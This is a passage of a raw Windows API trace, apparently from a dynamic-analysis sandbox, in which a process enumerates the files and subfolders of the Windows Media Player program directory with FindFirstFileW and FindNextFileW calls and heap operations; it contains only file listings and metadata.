ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x113f9c00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup_wm.exe.mui", cAlternateFileName="")) returned 1 [0268.303] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40aa916a, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d06fb4c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x100e6f00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmlaunch.exe.mui", cAlternateFileName="")) returned 1 [0268.303] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9483e2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d06fb4c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x10aa0400, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmplayer.exe.mui", cAlternateFileName="")) returned 1 [0268.303] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd13924, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x10aa0400, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPMediaSharing.dll.mui", cAlternateFileName="")) returned 1 [0268.303] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de1e9a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x10aa0400, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnssci.dll.mui", cAlternateFileName="")) returned 1 [0268.303] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bacb92, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x100e6f00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnssui.dll.mui", cAlternateFileName="")) returned 1 [0268.303] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bacb92, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x100e6f00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnssui.dll.mui", cAlternateFileName="")) returned 0 [0268.303] FindClose (in: hFindFile=0x33e4a28 | out: hFindFile=0x33e4a28) returned 1 [0268.305] GetProcessHeap () returned 0xc10000 [0268.305] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0268.305] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc52a386, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Icons", cAlternateFileName="")) returned 1 [0268.305] GetProcessHeap () returned 0xc10000 [0268.305] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0268.305] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Media Player\\Icons\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc52a386, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0268.306] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc52a386, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.306] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc52a386, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0268.306] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0268.306] GetProcessHeap () returned 0xc10000 [0268.306] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0268.306] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc580db4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6ec21fe, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Renderer", cAlternateFileName="MEDIAR~1")) returned 1 [0268.307] GetProcessHeap () returned 0xc10000 [0268.307] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0268.307] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc580db4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6ec21fe, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0268.309] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc580db4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6ec21fe, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.309] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa435feea, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe7ed8800, ftLastWriteTime.dwHighDateTime=0x1d283c7, nFileSizeHigh=0x0, nFileSizeLow=0x50db, dwReserved0=0x0, dwReserved1=0x0, cFileName="avtransport.xml", cAlternateFileName="")) returned 1 [0268.309] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa435feea, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe7ed8800, ftLastWriteTime.dwHighDateTime=0x1d283c7, nFileSizeHigh=0x0, nFileSizeLow=0x1534, dwReserved0=0x0, dwReserved1=0x0, cFileName="connectionmanager_dmr.xml", cAlternateFileName="")) returned 1 [0268.309] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa435feea, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe7ed8800, ftLastWriteTime.dwHighDateTime=0x1d283c7, nFileSizeHigh=0x0, nFileSizeLow=0xba3, dwReserved0=0x0, dwReserved1=0x0, cFileName="DMR_120.jpg", cAlternateFileName="")) returned 1 [0268.310] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa435feea, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe7ed8800, ftLastWriteTime.dwHighDateTime=0x1d283c7, nFileSizeHigh=0x0, nFileSizeLow=0x3a1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DMR_120.png", cAlternateFileName="")) returned 1 [0268.310] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa435feea, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe7ed8800, ftLastWriteTime.dwHighDateTime=0x1d283c7, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DMR_48.jpg", cAlternateFileName="")) returned 1 [0268.310] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa435feea, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe7ed8800, ftLastWriteTime.dwHighDateTime=0x1d283c7, nFileSizeHigh=0x0, nFileSizeLow=0x10a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="DMR_48.png", cAlternateFileName="")) returned 1 [0268.310] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa435feea, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe7ed8800, ftLastWriteTime.dwHighDateTime=0x1d283c7, nFileSizeHigh=0x0, nFileSizeLow=0x18db, dwReserved0=0x0, dwReserved1=0x0, cFileName="RenderingControl.xml", cAlternateFileName="")) returned 1 [0268.310] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa435feea, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe7ed8800, ftLastWriteTime.dwHighDateTime=0x1d283c7, nFileSizeHigh=0x0, nFileSizeLow=0x933, dwReserved0=0x0, dwReserved1=0x0, cFileName="RenderingControl_DMP.xml", cAlternateFileName="")) returned 1 [0268.310] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa435feea, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe7ed8800, ftLastWriteTime.dwHighDateTime=0x1d283c7, nFileSizeHigh=0x0, nFileSizeLow=0x933, dwReserved0=0x0, dwReserved1=0x0, cFileName="RenderingControl_DMP.xml", cAlternateFileName="")) returned 0 [0268.310] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0268.311] GetProcessHeap () returned 0xc10000 [0268.311] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0268.312] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa43ac3a6, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xab521500, ftLastWriteTime.dwHighDateTime=0x1d29fa1, nFileSizeHigh=0x0, nFileSizeLow=0x28200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpvis.DLL", cAlternateFileName="")) returned 1 [0268.312] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6ec21fe, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc581c81, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6ec21fe, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network Sharing", cAlternateFileName="NETWOR~1")) returned 1 [0268.312] GetProcessHeap () returned 0xc10000 [0268.312] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0268.312] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6ec21fe, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc581c81, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6ec21fe, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0268.313] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6ec21fe, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc581c81, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6ec21fe, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.313] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6ec21fe, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc581c81, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6ec21fe, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0268.314] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0268.314] GetProcessHeap () returned 0xc10000 [0268.314] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0268.314] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4386148, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x734ad200, ftLastWriteTime.dwHighDateTime=0x1d29fa1, nFileSizeHigh=0x0, nFileSizeLow=0x1b8800, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup_wm.exe", cAlternateFileName="")) returned 1 [0268.314] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6ec21fe, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc5826b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6ec21fe, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Skins", cAlternateFileName="")) returned 1 [0268.314] GetProcessHeap () returned 0xc10000 [0268.314] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0268.314] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Media Player\\Skins\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6ec21fe, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc5826b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6ec21fe, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0268.314] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6ec21fe, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc5826b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6ec21fe, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.314] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa43ac3a6, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xcf0d5f00, ftLastWriteTime.dwHighDateTime=0x1d29f91, nFileSizeHigh=0x0, nFileSizeLow=0x11550, dwReserved0=0x0, dwReserved1=0x0, cFileName="Revert.wmz", cAlternateFileName="")) returned 1 [0268.315] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa43ac3a6, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xcf0d5f00, ftLastWriteTime.dwHighDateTime=0x1d29f91, nFileSizeHigh=0x0, nFileSizeLow=0x11550, dwReserved0=0x0, dwReserved1=0x0, cFileName="Revert.wmz", cAlternateFileName="")) returned 0 [0268.315] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0268.315] GetProcessHeap () returned 0xc10000 [0268.315] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0268.315] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6ec21fe, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc5831ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6ec21fe, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visualizations", cAlternateFileName="VISUAL~1")) returned 1 [0268.315] GetProcessHeap () returned 0xc10000 [0268.315] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0268.315] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Media Player\\Visualizations\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6ec21fe, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc5831ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6ec21fe, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0268.315] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6ec21fe, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc5831ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6ec21fe, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.315] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6ec21fe, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc5831ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6ec21fe, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0268.316] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0268.316] GetProcessHeap () returned 0xc10000 [0268.316] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0268.316] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe81e0c00, ftLastWriteTime.dwHighDateTime=0x1d29fa1, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmlaunch.exe", cAlternateFileName="")) returned 1 [0268.316] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4339c91, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x49de7600, ftLastWriteTime.dwHighDateTime=0x1d29fa2, nFileSizeHigh=0x0, nFileSizeLow=0x19000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpconfig.exe", cAlternateFileName="")) returned 1 [0268.316] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4339c91, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x97ef800, ftLastWriteTime.dwHighDateTime=0x1d29fa2, nFileSizeHigh=0x0, nFileSizeLow=0x28c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmplayer.exe", cAlternateFileName="")) returned 1 [0268.316] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4386148, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xc0c73f00, ftLastWriteTime.dwHighDateTime=0x1d29fa1, nFileSizeHigh=0x0, nFileSizeLow=0x18600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPMediaSharing.dll", cAlternateFileName="")) returned 1 [0268.316] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4386148, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, 